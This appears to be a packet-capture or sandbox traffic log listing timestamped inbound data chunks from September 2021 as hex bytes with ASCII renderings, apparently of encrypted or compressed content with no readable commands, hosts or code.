2021-09-29 19:26:41 UTC	100	IN	Data Raw: 94 3f a2 54 3b 00 cb 4c c3 3a ee b1 a5 22 2e d1 a8 fa e9 25 72 21 fa c3 a9 f9 79 0e ff d9 0b bc 22 f4 04 73 2e 35 42 0f b2 96 bf d1 71 9a b0 d1 70 16 b7 0a 05 0b 8d 80 ae 84 e8 38 44 43 a1 06 ae 63 85 47 2c 41 a4 da 58 61 d3 3b 60 3b 4b 2f 3c 6f 67 fe 77 79 31 a1 ac 62 eb 32 ae 10 82 cd f6 1a ad 57 9f d7 5d a6 6d 20 7f 32 ef 52 50 14 6a 73 19 ea 59 3d 1e 7f 63 5d 0f 5c 26 9f 96 53 2a e9 e2 89 22 b3 e5 fe 1c fc a5 fd b6 01 6e 58 29 76 af 44 ad 04 a3 87 59 63 60 b6 00 44 f2 4c ce 3b 07 6a 50 d9 3c c6 e9 a2 ba a4 20 1e c0 4f 9d e8 19 38 b9 39 a8 76 8b 38 17 34 ed 83 17 23 81 82 d1 59 03 36 dd de 1a d2 f1 af f0 1a fc 72 cf 45 c2 c1 c1 ed a3 3d fc 64 f8 95 8e 35 a4 fc f4 35 3c 20 f6 3e 0f fb ee 11 43 e1 c3 65 c8 21 f2 15 73 55 4d 55 c5 8a 69 35 a7 7b a1 b3 ca Data Ascii: ?T;L:".%r!y"s.5Bqp8DCcG,AXa;`;K/<ogwy1b2W]m 2RPjsY=c]\&S*"nX)vDYc`DL;jP< O89v84#Y6rE=d55< >Ce!sUMUi5{
2021-09-29 19:26:41 UTC	102	IN	Data Raw: 38 ab 57 d3 bd 3d 56 55 0c d4 66 00 b8 70 95 29 f5 57 90 12 e7 62 59 10 d7 72 a7 41 e4 61 1f 32 23 96 f0 3c 78 fe 33 c9 d7 9c af 60 21 51 ec e4 82 a3 c5 52 65 70 a5 2b 72 47 00 61 7f b3 28 46 6d 0e bc f8 58 85 97 81 68 0f a1 60 f7 7c 48 84 ad b6 bf 8d bd e7 cf 25 b6 3c 22 f1 ae 03 43 9f 1b ae 16 65 28 e7 56 a2 a9 60 70 b3 2a b5 7f 95 8a de 17 47 28 e6 be 6c 4b 5f 6f 7e a7 c7 98 b5 f3 16 6e 39 fc a2 97 a9 d8 fa 46 bb c3 f5 67 ec 44 a3 58 01 1b 47 ce 93 71 78 30 f6 38 27 08 35 8d 07 c5 25 a8 25 3c 6f 2a 1a b4 6f af 65 74 e0 69 a1 e9 e9 cf 7a ea 23 3d bc 5c 63 18 0b 39 92 0d f4 48 a0 f2 4e 1a e4 82 53 f2 82 5e 55 ab 29 ba 86 21 c1 99 2a 91 20 75 f2 e9 7c cd 05 37 c2 25 cf 59 0e 57 c7 7f a8 42 54 d1 db 86 27 1a c7 06 60 d5 67 c4 89 67 7c 25 b5 69 cf d9 20 05 Data Ascii: 8W=VUfp)WbYrAa2#<x3`!QRep+rGa(FmXh`\|H%<"Ce(V`pG(lK_o~n9FgDXGqx08'5%%<ooetiz#=\c9HNS^U)!* u\|7%YWBT'`gg\|%i
2021-09-29 19:26:41 UTC	103	IN	Data Raw: 2b 86 2a 06 27 9d 63 c9 66 04 21 df de 06 3d f4 9d 19 19 ab 7e e5 40 fe 8f 13 3a c4 20 e2 66 b6 0a e6 c4 23 92 fd 46 aa f2 4e 05 0b e4 f7 df 46 cd 90 65 b3 2f 2f 15 77 46 20 4a c2 b2 01 58 2e 79 a1 a8 a6 29 05 37 75 21 2c 17 ba 98 c0 72 ef c6 42 20 62 c2 4a b5 c8 d3 57 5a 4f f1 32 21 b4 6b af 06 8e f1 bc 10 6d 20 1d 17 e5 c2 60 83 bd 6f dc 16 ba 94 59 ed 9f 07 0a cb 2d a1 8a 31 ef 97 9b 68 37 a9 c2 5b cd b7 33 dd 0d 12 0a 0c 0a fa 29 29 ca 06 e2 05 2f 9f fe 11 df 8b 6b 12 ec ab 75 2c a3 d0 e8 9d 43 f9 b3 3a 1c b3 93 3a 77 9d 85 9a b4 85 e5 7b c5 79 28 bb 07 b3 0e 4d c1 0f fd 3a 40 18 ef ec 13 bc 74 ce 1c b9 08 b4 00 c1 c1 3c bb e3 6d 82 61 c7 c7 32 64 fc 18 a0 b0 d9 5d 51 6f 24 3d 18 a7 2d e3 ab 07 3c 7c 81 7a 5b 7b 7e 1b de 48 e7 4c c0 b0 d4 83 03 1b 44 Data Ascii: +*'cf!=~@: f#FNFe//wF JX.y)7u!,rB bJWZO2!km `oY-1h7[3))/ku,C::w{y(M:@t<ma2d]Qo$=-<\|z[{~HLD
2021-09-29 19:26:41 UTC	104	IN	Data Raw: 64 d6 0d 15 a0 0e 8f 46 40 f2 4a 0c 7c 26 ed e2 02 5d 55 a1 3f b3 e1 97 cc 67 21 a2 21 74 f1 f8 6a da 1d cf cb 00 ce 57 25 88 df 7e a2 59 35 5a d3 86 3c 19 c5 1c 98 d4 5a c9 98 8f 46 95 b6 71 dc c0 2a 07 22 6c 71 b5 a5 83 fe 3b be 01 ba c4 1a 20 89 77 06 e0 85 9d 8a 33 f2 13 c6 c9 29 c3 cc 50 83 c2 d9 f0 1e 8e 98 89 ab 2a 89 56 27 29 73 f2 d1 b0 bc 8f e0 1a 93 20 9f 1f 5b a5 5a 21 d7 4f 5e c6 23 d0 b9 1c d5 26 d5 56 fb c5 28 62 0e eb a7 70 f6 26 8a 37 dd 11 be 3c e7 11 43 99 cb 43 23 be 84 a4 d7 d0 83 45 43 61 6b a7 18 0d 0f 9f 97 aa ad 87 91 5b 3d 2a 12 80 49 bc 54 2c 4d a4 da 54 6a d3 3b 60 33 50 27 5c 70 49 a5 e8 8a 2d 9e af 64 ec 12 3b 19 7c c6 d6 0d 96 2a 9f c6 53 af 96 3e 5f 33 e5 29 4f 1d 7d 89 1e d0 42 4a 56 77 63 46 21 58 39 65 97 6e 28 df 2f 97 Data Ascii: dF@J\|&]U?g!!tjW%~Y5Z<ZFq"lq; w3)PV')s [Z!O^#&V(bp&7<CC#ECak[=IT,MTj;`3P'\pI-d;\|S>_3)O}BJVwcF!X9en(/
2021-09-29 19:26:41 UTC	105	IN	Data Raw: 91 2d 07 5e d7 8e e7 24 5a 66 4e f3 07 48 6e f1 08 ba 11 af 15 03 17 b7 95 ea 5f 70 99 27 2d 3e 79 ef 0d a8 be d0 bc 59 bd 31 14 0c ad 49 e1 7c 2f 04 6b a9 e9 24 60 75 0d c0 38 40 5f c8 ba da 81 08 e1 45 a9 ad 9d 31 64 cd f7 50 1f 30 53 8b 40 10 29 d1 54 55 85 a7 f3 00 64 d0 b5 be 12 d7 c8 c4 2a 8c 2f ae c9 8a 92 ff 46 8a 4f f0 3a 4e b0 3f de 13 31 24 57 93 f8 89 c3 d1 9b 38 7a bd 2e 6c 4e 1f e6 61 00 a9 d9 8a 3e 1a 40 b7 3d f1 18 57 11 d7 71 aa 97 7d 4f 08 3a 4e 80 9e 95 7c fd 42 cb ce 8f ad 7f 3e 3d 25 95 e0 a0 e9 4c 7b 00 ab 2d 6b bd 07 5b 6f 3f e4 27 c5 0e b8 f1 3c 87 85 87 6c 00 cd ad 66 e1 66 8d d9 b9 b5 8d be f1 2d 37 9c 26 31 8c bf 0d bd 9a 34 c9 0d 1f 26 e2 7e 3e a8 1b 63 a4 32 de fe 0d 88 d4 06 5a 30 8e 0f 92 4a 79 7e 6c cf cf 99 a4 f1 67 15 3a Data Ascii: -^$ZfNHn_p'->yY1I\|/k$`u8@_E1dP0S@)TUd*/FO:N?1$W8z.lNa>@=Wq}O:N\|B>=%L{-k[o?'<lff-7&14&~>c2Z0Jy~lg:
2021-09-29 19:26:41 UTC	107	IN	Data Raw: 8d 69 a3 2e 61 47 a4 c1 57 6f 3e 3e 4c 29 57 27 c6 6e 5a d2 6e fc 18 8c a7 60 d5 41 25 12 88 ef 18 02 be 55 b7 69 5b bc 99 09 77 20 ed 23 31 8d 6a 77 15 93 13 53 45 75 45 4b 3a 43 35 8a 92 5e d0 f5 30 86 2e b8 e7 e8 34 fb 8c fd bc 0b 7a 56 3e 72 be 51 b1 e5 ab 55 52 57 c4 9f 7b 6c f2 46 d3 00 58 6b 41 d7 08 db ec 8e ae 8e f4 12 c1 45 b1 ca 0f 20 dc 0d 30 76 81 14 65 75 e8 83 0c 01 88 76 c3 71 00 30 ca c5 11 3d f4 9d 1f 19 ab 58 e5 40 fe 96 51 41 5d 22 e8 60 bf 1e 9a 69 23 83 f3 4c 47 f7 62 17 17 e8 f9 21 56 e5 a4 99 c9 0d 3e 17 08 6c 5a 46 c7 b4 6a 64 a6 7b ab ae d2 38 7a 26 65 25 37 cd 6c 03 ee 60 cd 8b 5d 4f c1 c4 5c b7 b8 ce 45 5e 45 ed 29 3b 59 6e 83 14 92 fd b2 ee 7d 08 0d 39 1b c7 4c a8 32 3f d2 17 bb 9a 5c 6b a7 03 0a db 24 b7 93 d0 be 27 9d 7d 53 Data Ascii: i.aGWo>>L)W'nZn`A%Ui[w #1jwSEuEK:C5^0.4zV>rQURW{lFXkAE 0veuvq0=X@QA]"`i#LGb!V>lZFjd{8z&e%7l`]O\E^E);Yn}9L2?\k$'}S
2021-09-29 19:26:41 UTC	108	IN	Data Raw: ce 26 84 f2 47 90 5a 87 40 26 a7 7b 03 a3 6e 8a ff a5 b9 e2 ee eb d3 3c 6c 3e 48 d0 b0 0c b9 b6 c2 b6 14 18 0e c2 56 a6 a0 33 58 b2 2a bb 6e c1 88 de 1d 53 4b ae 16 6c 4f 7d 85 6a b4 c7 b0 80 f5 08 9a 2f f8 6c 94 aa b1 3e 43 aa c1 97 b1 e4 57 a3 4b 15 0c 5d b0 06 70 54 3e 9a 82 02 09 3f 9a 39 e2 f4 46 dd 4c a6 39 1c be 0a 92 7f 8a e3 56 a2 d3 c3 c5 6f ee 58 0b bb 43 73 ce 15 16 88 09 9e 40 da e8 4b 1d 6e 1d c2 da 1a 56 3a 6b 3e a2 ef ae d0 9e 4f 49 35 66 fe c4 a5 15 3d d8 c4 7c e4 51 0d 2d f1 72 b9 41 4e 72 db 86 2c 7e 8d 15 66 df aa 1c 92 88 79 25 b1 60 d8 b0 77 14 2a 66 bc bb 96 8a fb 17 b4 00 de e8 7f 3f 92 47 fa ec 99 84 aa cb e7 1b df c1 ff 3b e4 5d 94 aa 1c ca 16 88 f7 c3 19 35 88 4f 2d 52 45 fb c9 4a 95 7f f2 19 8a 11 df 3f e7 a8 5c 09 b3 c9 4d cb Data Ascii: &GZ@&{n<l>HV3XnSKlO}j/l>CWK]pT>?9FL9VoXCs@KnV:k>OI5f=\|Q-rANr,~fy%`wf?G;]5O-REJ?\M
2021-09-29 19:26:41 UTC	109	IN	Data Raw: 65 b0 a9 42 9c 56 33 75 21 22 d0 9f 8c 75 fe da d0 5c 4e d8 ce 72 e9 d6 d8 44 59 5e ec 20 1e f2 6a 83 0f af 43 b8 10 7c 35 08 0d 33 c2 49 a8 b9 0f 5f 10 ba 90 42 73 bb 16 05 dc 31 a5 3e 3f b0 1c 84 f3 17 e2 5e 53 77 ba a0 cc 05 02 18 b2 90 df 46 80 cb a4 f9 15 39 98 58 00 c1 95 64 60 d2 87 5f 2f 7a cf e6 8e 49 f2 30 05 08 a8 1f 18 7e 8b 9b d9 38 9d e2 72 99 79 30 b3 0c 39 9b 45 cd 8b e2 b0 4b 67 5f fa 8f a7 7f c7 0e 25 08 a0 08 fd 98 3d 97 e0 73 72 8c 2e a8 01 6e fe 12 b6 3b f5 53 58 91 2f c1 1d a5 56 f6 82 13 38 6a a3 cb 6d 7a 74 07 b0 35 4e 4c db a9 c6 8e 01 13 6c 32 a4 9e b5 d8 ef 62 60 06 23 4a 81 45 30 35 2a 55 7f 94 2d e3 40 81 2f 59 4e 1d cb d6 d5 36 26 28 5f df b0 1d d7 55 82 4e 43 23 5e b4 c6 f7 2e 33 0f 58 09 69 7b 25 3a 13 29 75 a7 28 d0 75 1f Data Ascii: eBV3u!"u\NrDY^ jC\|53I_Bs1>?^SwF9Xd`_/zI0~8ry09EKg_%=sr.n;SX/V8jmzt5NLl2b`#JE05*U-@/YN6&(_UNC#^.3Xi{%:)u(u
2021-09-29 19:26:41 UTC	111	IN	Data Raw: dd b0 77 14 2a 66 bc b5 b4 a3 ea 32 9a 35 a5 cf 74 2c 93 00 92 e9 99 88 88 1b db 1b d9 c9 09 c2 e6 77 92 c5 f8 d7 16 8e 9a bb 26 35 c8 cc 2f 3f 62 fa c9 4e bd a3 f0 19 2f 9a fb 2a fd a2 5a 20 13 fb 49 c1 34 c2 b1 1c 2a 2e cc b9 ec fa 20 59 e4 fe c3 6f f9 68 0b 3d 27 0a 81 3d 94 b9 4b 84 3f 4f 15 a1 82 bb d9 8a 87 62 c6 5e 71 b1 13 58 19 70 9e bc 55 08 0a 45 f6 d0 05 b8 97 a2 02 37 53 5a c9 03 5a 16 27 5f 3d 53 2d 3d 70 7f 04 6d ab 38 85 b0 b2 f1 05 2e 01 87 c7 eb 03 a9 ad 9e ea 5a a4 80 24 53 31 e8 33 a0 14 46 7b 09 fa cf e5 52 a5 70 53 25 5c 26 9e 96 53 2b ea e2 89 22 a4 ea ee 3c f9 8c fd bc 0b 58 5a 28 76 b8 68 77 f8 a2 a1 3c 10 ef 9d 0a 62 ec 4f c4 2d 03 7b 44 c5 de 39 c4 9b aa 8e cc 10 c1 45 9a 81 97 20 d6 68 c7 54 80 1e 00 2d f0 90 03 27 86 79 cb 8b Data Ascii: wf25t,w&5/?bN/Z I4*. Yoh='=K?Ob^qXpUE7SZZ'_=S-=pm8.Z$S13F{RpS%\&S+"<XZ(vhw<bO-{D9E hT-'y
2021-09-29 19:26:41 UTC	112	IN	Data Raw: 89 1a 0c 49 87 a2 f1 76 d1 d7 cf 71 09 32 55 9a 5e c2 22 40 a1 78 8f a6 cc 58 80 2e 40 52 1c d5 cd ab 52 86 39 5a a7 6f 91 e8 5f 94 7e f9 30 2a 9b c0 df 3b 21 1c 43 a6 69 64 14 e2 b3 38 70 ac 2e 33 87 1d c7 6a 11 a5 6e 5c 2d 07 47 b0 14 f7 27 69 ee 28 89 a0 61 6b b5 0c 30 37 f5 a8 94 78 fa 56 1c cd 8f a3 71 37 68 6e 04 83 5d c2 40 4f 1d ae 2a 74 4e 2c 77 79 3c 8f 29 c4 0c bc d6 47 a7 e5 87 64 1e a7 7b 09 6e 54 89 d3 7e be 8d b9 6d d3 36 a1 2a 20 f2 89 c2 bd 9e 37 b2 05 1b 38 18 57 8a a2 12 7e 64 27 ae 5e 1e 8d de 0c 54 29 77 16 40 4e 43 7c 74 a7 c4 98 b5 f0 12 6e 39 fc a2 91 ae b2 fb 50 61 d6 fc 75 fe 44 a0 58 01 18 44 3a 6c 5c 5d 39 fd 40 0b 98 a9 94 2d cc db 46 df 3e 9a 38 30 b3 76 be a9 86 ff 56 a1 c2 d6 d1 7e 12 22 00 b9 5b 64 e3 0a 04 8d 10 85 b8 a0 Data Ascii: Ivq2U^"@xX.@RR9Zo_~0;!Cid8p.3jn\-G'i(ak07xVq7hn]@OtN,wy<)Gd{nT~m6* 78W~d'^T)w@NC\|tn9PauDXD:l\]9@-F>80vV~"[d
2021-09-29 19:26:41 UTC	113	IN	Data Raw: 3f ff 03 81 f0 b9 cf e4 33 69 97 92 45 0b 70 4d 32 7c ad 4b b5 eb a9 b4 49 85 ec b1 0c 55 f9 5e 97 f2 02 6a 41 c2 3b 2b e3 8e b9 ad 44 2d 3f 4e b5 e3 0c ae 61 6b b0 a0 5b 0d 0e 38 d7 90 0d 27 86 77 cf 5c fe 20 e2 d1 69 c3 f7 b1 08 08 d7 6f ce 53 f1 90 2f 19 43 29 1c 6d 8c 06 8e 02 d9 93 f7 5d ae 2c 59 c2 82 d0 fd 21 46 ed a6 6b db 2a 2e 04 78 5b 62 b8 c2 9e 15 26 af 78 a8 b5 1a ba 11 dd 75 21 2e de a8 11 c9 72 f4 db 43 5f 35 c3 66 ae d0 b7 b8 5f 4f e6 27 33 25 bb 81 05 9c fd a9 03 77 24 13 12 04 cf b2 a9 93 1d ea 5a 44 6f bc 7f b9 14 01 ca 31 a3 83 21 41 0a be 6f 39 e7 5d 5b c2 7d 3e bb ef 0e 96 03 03 f0 55 8b ca 17 e3 05 37 72 fb 3d d8 88 1e 10 ec 87 59 2c d0 b1 1e 9c 47 e5 51 c0 1e b3 98 28 66 98 91 ca 39 87 ed 43 70 e4 0d aa 23 d3 f9 ab 22 8c dc 3f 51 Data Ascii: ?3iEpM2\|KIU^jA;+D-?Nak[8'w\ ioS/C)m],Y!Fk*.x[b&xu!.rC_5f_O'3%w$ZDo1!Ao9][}>U7r=Y,GQ(f9Cp#"?Q
2021-09-29 19:26:41 UTC	114	IN	Data Raw: 58 99 88 ac 2d 02 0d 96 62 5e a2 c0 5a 92 d8 57 76 3c 31 53 1d ad 3d 14 4d 71 95 90 86 30 8b a0 0b 01 1b 24 14 ed 08 f8 06 b4 44 45 a9 89 be 93 2b 5b 4f 12 28 5e 13 75 51 0c f7 41 43 4e 69 9d 56 05 44 22 88 9d 42 3f ff 03 cd f0 b9 cf ea 1f 73 9f 87 45 f5 8f 4c 07 65 8e 42 b5 d2 a2 ab 53 89 ed 9d 11 52 f8 6d cc 28 04 7d bf dc 0c 3a f0 85 a8 a1 4d ee c0 63 9b f9 04 20 d1 7a 56 77 ad 1c 21 25 c2 60 04 5c a8 7d d0 71 2a 03 cc d9 67 fc f4 b1 0a 31 d0 70 e4 53 ca 92 3e 3a 5c 22 e2 6a a0 12 98 7b 28 b9 ec 5b be e1 b0 15 23 f9 e5 2a 47 e6 af 99 c9 0d 2c 02 78 44 5c 5e 3d b3 29 35 8c 79 8a 41 ce 50 3e 27 74 25 02 e3 90 01 bf 32 e4 d0 58 65 cb c2 4a ac e7 da 44 76 4f e0 36 c5 4a 6a 92 13 9d c9 a3 10 7b 33 fc 18 37 c1 54 a3 bf 13 c4 e9 bb bc 41 77 bf 07 0d d2 de a9 Data Ascii: X-b^ZWv<1S=Mq0$DE+[O(^uQACNiVD"B?sELeBSRm(}:Mc zVw!%`\}qg1pS>:\"j{([#G,xD\^=)5yAP>'t%2XeJDvO6Jj{37TAw
2021-09-29 19:26:41 UTC	115	IN	Data Raw: 41 04 0c 3f 3c 9f 2d c7 d8 c1 b4 46 9a 80 98 61 0d a2 7b 18 78 72 73 d2 8f bd 9a aa ee d3 27 b5 23 38 09 b0 20 bf b5 32 8a 9b e0 d9 19 5f a5 95 ce 97 4d d5 b9 7d 0d 88 cd 2d 53 30 ba 17 6c 4b 5c 70 6e a5 d7 93 8f de 08 97 2f 2e af b9 a8 af 26 47 bc dd 06 79 c9 5e a7 5b 91 18 58 c4 76 69 5f 3f f2 55 fc 08 19 8b 29 c2 db 50 c3 dd 65 15 1e 9f 7c 82 ac 89 cb 45 b7 f2 c2 d4 f2 ed 23 2c 4f 43 77 f7 1c 06 8d 37 0a 47 a1 f2 4a 0c 6f 29 1b db 36 5b 56 a7 10 9c f4 9b c4 99 31 8b 2f 98 f5 c5 7c c9 62 8e c2 09 db 53 76 6a dc 7e ac 9c 31 52 c8 83 2d 00 df 0d 98 d4 5a cc 9d 8e a7 1e 60 fc f7 df 20 15 26 75 73 b8 be 6c fa 08 b8 fc a4 f6 c8 3f 96 28 80 97 dc 8f 82 37 e1 60 9f c2 d7 c6 e8 4b 94 ed cc ca 16 84 9a ad 64 73 83 45 2b 2b 74 87 8e 4f bd a7 f9 1f 5a 34 c3 2a e6 Data Ascii: A?<-Fa{xrs'#8 2_M}-S0lK\pn/.&Gy^[Xvi_?U)Pe\|E#,OCw7GJo)6[V1/\|bSvj~1R-Z` &usl?(7`KdsE++tOZ4*
2021-09-29 19:26:41 UTC	116	IN	Data Raw: f8 46 c3 b8 2d 6d a7 7b ab cd 10 29 7e 2c 78 3e 22 d2 9f 02 d3 7f fa c5 a2 4e e7 cf 5b b7 cf 48 7d a2 b1 1f c9 29 5c 79 8e 05 87 ef a7 06 82 25 2e 35 0a c8 58 80 3d 16 d2 11 ad 1d 44 60 b4 06 19 c6 31 a4 8a 3f b9 13 08 57 39 e2 5e 58 77 ba a3 c0 00 18 80 2d b4 e0 46 8a d5 11 fb 17 20 9d f7 0b 30 8e 5d cf ef fc 1b 2f d8 da c1 9a 45 e3 38 07 15 c7 13 37 7e 8a 98 b1 61 8d f2 60 00 52 3b 8b 2e 2e 07 5e c6 80 f9 2c 4b 7a 50 12 12 9a 6c ca 0b b4 19 a1 12 ca 24 c3 96 c6 57 48 99 00 40 d1 8e 10 1e a2 da 99 43 58 95 4b 06 65 73 ee 90 ee 06 38 6e af c9 59 68 44 0b c4 11 4f 4c c0 4d cb 89 01 09 57 82 9c bc be d3 d7 c5 71 01 3a a5 8a 7d 15 4a f2 57 79 85 99 f1 41 81 2e 50 52 0b c4 d1 c3 26 7a 38 7c ef b7 97 f0 53 95 c2 e6 32 51 ad d2 db 2e 37 19 45 27 47 74 3c 2f 13 Data Ascii: F-m{)~,x>"N[H})\y%.5X=D`1?W9^Xw-F 0]/E87~a`R;..^,KzPl$WH@CXKes8nYhDOLMWq:}JWyA.PR&z8\|S2Q.7E'Gt</
2021-09-29 19:26:41 UTC	118	IN	Data Raw: 18 89 4f f0 22 b6 71 dd d4 22 13 28 e2 d7 95 9e 7c ff 1d b1 14 a2 cd f0 88 95 a6 35 c4 8c 8f 82 39 e4 11 07 d3 f2 ea d7 5d 92 cf f5 df 1c a6 a0 bb 19 3f 5c 45 29 03 62 fb d9 4e bd a3 f0 19 8c 14 d6 3f f7 b8 5a 21 01 d8 7d c3 3a fb b1 1c c4 d2 cc a8 eb ff 29 4a 3b fe cb 77 07 78 22 2c aa e8 af 34 ed 0b 52 88 35 4a 18 4c 86 97 ca 97 97 9c cf 64 93 b8 27 07 18 82 9f bc 4a 78 bc 7e 2e 05 06 85 bd a4 5f 50 67 a5 cb 56 5c 3e 0a 4e 38 6a 3c 38 6f 8b fa 6c 96 26 81 8c 4f fd 12 3c ec 83 eb f3 04 cd 70 9e c6 53 b7 8a 2d 53 28 fa d7 5f 39 68 6f 13 fc 49 44 bb 7e 4f 55 3e 4b 35 93 8f bc 2f d8 1e a3 0c 93 30 ef 37 19 85 fc bc 00 5a 4b 2d 76 a5 70 b0 fa 64 ab 53 7b 13 9d 00 55 f1 45 ff 39 01 6a 47 f5 32 3a e8 88 a4 ae 5f 38 d0 4d 99 e8 27 32 d4 62 ae 7d 9e 0a 87 0c e9 Data Ascii: O"q"(\|59]?\E)bN?Z!}:)J;wx",4R5JLd'Jx~._PgV\>N8j<8ol&O<pS-S(_9hoID~OU>K5/07ZK-vpdS{UE9jG2:_8M'2b}
2021-09-29 19:26:41 UTC	119	IN	Data Raw: d7 2a 5a 9c 41 ba cb 88 38 0b 44 85 ae b6 a2 d0 d7 c3 79 8b 24 5b 8b 50 0b 17 3e 76 6f 9e ad cc 51 81 2e 40 e3 1d e7 d7 ba 77 85 39 54 6a b7 b2 f0 4a 9a c3 de 32 51 ad 63 ce 1c 20 2d 43 89 6c 60 25 a3 9e 38 7a bc 2e 78 5b 3b d1 77 9c b8 52 9d 29 97 47 98 1d f3 85 46 35 c0 5e 16 69 7c 69 39 29 11 98 0f b9 73 ef 1b c0 55 a7 b8 60 30 5d e0 f7 6d 86 fe d6 4b 29 ba 08 65 d9 2e 66 79 3d 95 f9 d6 0e bc e9 6f 8e 84 87 62 36 93 7a 09 77 10 9f d3 a3 a5 0d f5 ea d3 32 ce 70 32 f7 b5 06 60 41 32 b2 14 17 32 ce 92 a5 aa 1d 7e 3f 2d b1 57 0c 9b fd 0c 72 26 9f 9b 53 4b 55 71 cc a5 e2 8c b0 e1 20 33 38 d0 a4 81 82 73 2e 47 bd d2 75 7f e5 57 a4 4b 32 0c 7a d2 7b fc 6b 3f f5 42 a0 18 17 9d 2a dd f3 f4 da 23 6e 2d 34 70 7d a9 79 9d 6c 42 a4 c2 c6 c7 48 fd 02 3a ad cf 48 e6 Data Ascii: ZA8Dy$[P>voQ.@w9TjJ2Qc -Cl`%8z.x[;wR)GF5^i\|i9)sU`0]mK)e.fy=ob6zw2p2`A22~?-Wr&SKUq 38s.GuWK2z{k?B#n-4p}ylBH:H
2021-09-29 19:26:41 UTC	120	IN	Data Raw: 4d 01 1f 37 9b 90 6a 00 f6 1c 8e 61 c0 e3 e8 3e 5e a8 ff bc 0c 1f bc 2c 76 b8 53 a3 eb b4 c4 af 7a ed 9b 16 2b 23 44 d7 22 6c 96 40 dd 26 2e 87 5e aa a6 51 7f 3d 4e 99 e8 18 4f 06 60 a8 7c ee e2 0b 27 ef 95 69 f7 95 7c da 1a fe 20 ce dc 09 d4 e4 aa 26 40 d1 70 ee 68 d4 92 3e 14 33 ba e2 6c aa 03 9e 7c 35 fd 0b 5a b9 f0 58 7b df f9 fd 2b 28 1d b8 67 ce 36 41 c5 71 44 51 29 3d b3 05 31 8f 6f a3 a2 ca 38 6b 37 67 30 3d b5 80 02 c2 69 8a 27 5d 4f cd d1 52 ae c4 c9 5c 31 b3 e1 36 30 5c 05 53 07 96 e8 d7 ec 7d 24 04 01 74 13 4e a8 b5 7b 2c 16 ba 96 2c 97 b5 07 0c d9 39 b9 85 41 43 0a 92 79 3e 8d 8e 50 d5 a1 c0 28 15 0f 90 1c 73 30 44 80 c0 69 16 1b 20 8a 74 a6 d1 97 40 a2 fc 9e 30 d2 d9 de ef 8b 28 33 3c 11 16 dc 6e 36 7e 8d 83 a5 f8 8e f2 6e e1 1b 20 a3 1d 3e Data Ascii: M7ja>^,vSz+#D"l@&.^Q=NO`\|'i\| &@ph>3l\|5ZX{+(g6AqDQ)=1o8k7g0=i']OR\160\S}$tN{,,9ACy>P(s0Di t@0(3<n6~n >
2021-09-29 19:26:41 UTC	121	IN	Data Raw: 42 6f 74 4a c0 b4 8a e4 1a ff c4 d1 ae 93 bc d8 fd 45 bb cf 97 84 e4 57 a3 4f 7f cd 5a c4 67 1f a8 3e f5 45 15 66 e5 8b 3e c3 b4 a9 db 23 62 2a 0f ab 65 ba 68 8a f0 52 bb dd 39 d5 45 cf 32 21 d5 bf 76 e6 0c 03 e7 df 8d 46 ab 9d b6 1c 6a 33 fd b5 ca 5e 55 ab 50 5c e8 88 c7 8a 2e 91 15 75 e3 e9 7c dc 06 ec 3d 08 f3 5d 1c 3c de 11 82 44 3b 4f c4 a0 3e 06 da 04 71 cc 88 c3 b2 90 03 9a b6 71 d6 d3 3a 07 3d 6c 71 aa a1 70 01 16 9e 15 b4 ca 56 13 93 28 84 c4 bd 8e 82 39 cb 8e d9 c3 dd d1 e8 42 9c d6 ee cb 07 99 87 a9 e7 34 ae 4c 17 78 9c 05 36 51 ae b0 e7 19 9d 2e e4 2e 19 a3 76 33 16 da 44 ae f1 c2 b1 16 d3 f4 df be e9 e3 3a 73 02 e9 c3 7e ee 66 2d da d8 27 b1 25 f7 11 47 ac 1b 47 0f b4 af 95 ca 8f 9d b4 2d 70 6d b3 64 21 0d 8e 99 ab 77 95 aa 52 3d 39 1b b0 97 Data Ascii: BotJEWOZg>Ef>#b*ehR9E2!vFj3^UP\.u\|=]<D;O>qq:=lqpV(9B4Lx6Q..v3D:s~f-'%GG-pmd!wR=9
2021-09-29 19:26:41 UTC	123	IN	Data Raw: 0a c0 31 ac 88 06 92 0f 92 79 3e 6f 59 52 d5 aa bb c0 00 27 35 05 1c ea 52 a8 74 05 e8 1c 39 01 fd 11 ce 8e 62 ea fc 81 49 27 7a cf ef 8a 51 6f 01 11 1c b2 30 26 78 93 93 44 9f 00 cd 64 8e e4 83 b2 1d 3c 00 45 da 87 e0 35 d7 58 46 ec 12 a5 67 cc 10 af 0e 2c 0e dd 28 2b 0b fb 5d 7b 8a a4 29 25 59 4c 1c a0 ab cc 4a 4e 01 09 0f 1e a2 40 77 82 16 38 6a a3 33 4b 7b 74 16 ec 33 4e 4c ca 92 ff 88 10 15 30 97 a4 9e a4 de a3 d7 60 06 38 57 a3 c6 18 34 25 5d 16 9d a1 e4 4a 8a f0 5b 64 24 f3 c0 c4 31 97 3c 44 c3 8e a9 e8 55 88 91 e1 35 7b ac c1 9e 23 33 0f 52 ab 78 74 29 2e b1 38 48 bc 3d 5c 0d 1e c7 60 11 a9 76 8a 24 0b 56 bd 1e d5 10 57 24 d6 76 b1 6d 7d 63 0e 4b 13 8f 9f 9f 74 f6 2d fe e6 8b a9 66 27 da f4 fa 7c a3 fa 42 76 0f bd 29 d0 52 02 63 6d 15 58 28 c4 04 Data Ascii: 1y>oYR'5Rt9bI'zQo0&xDd<E5XFg,(+]{)%YLJN@w8j3K{t3NL0`8W4%]J[d$1<DU5{#3Rxt).8H=\`v$VW$vm}cKt-f'\|Bv)RcmX(
2021-09-29 19:26:41 UTC	124	IN	Data Raw: aa fb 3f e7 bf 49 25 00 da 49 d8 c4 c2 9d 1a c2 02 71 b2 e9 ed 25 70 15 e6 3d 6e d5 6d 0c 5f a6 0a ad 30 99 72 4a 84 3f 6a 76 b3 87 b1 c2 96 88 98 c7 63 69 a6 01 fb 0e a2 90 b6 28 07 bc 52 28 06 52 ac 69 a9 42 34 56 a0 cb 4d 72 32 37 b2 39 7f 33 3a 14 f3 fb 6c 83 18 db a5 64 f7 05 2a 01 86 c7 eb 02 a1 58 61 c7 75 a9 91 5a d6 21 ed 2d 20 67 6b 77 15 d4 38 53 45 75 6e 48 25 54 31 9b 87 46 31 fd e2 89 22 bf eb c4 eb 69 ad ee b8 0a 61 4f 33 88 bf 6c a0 f8 d9 2a 52 7b e9 e3 72 45 f3 4c ff 51 02 6a 4b d1 3f 31 fb 8a a8 b7 5f 06 3f 4e b5 ed 18 33 d2 62 b9 72 9e 10 f4 26 c5 81 2d 22 af b5 2e 8a ff 0b 48 d8 e4 d6 ba b1 0e 19 d2 73 99 cd fb 90 3a 10 22 50 e3 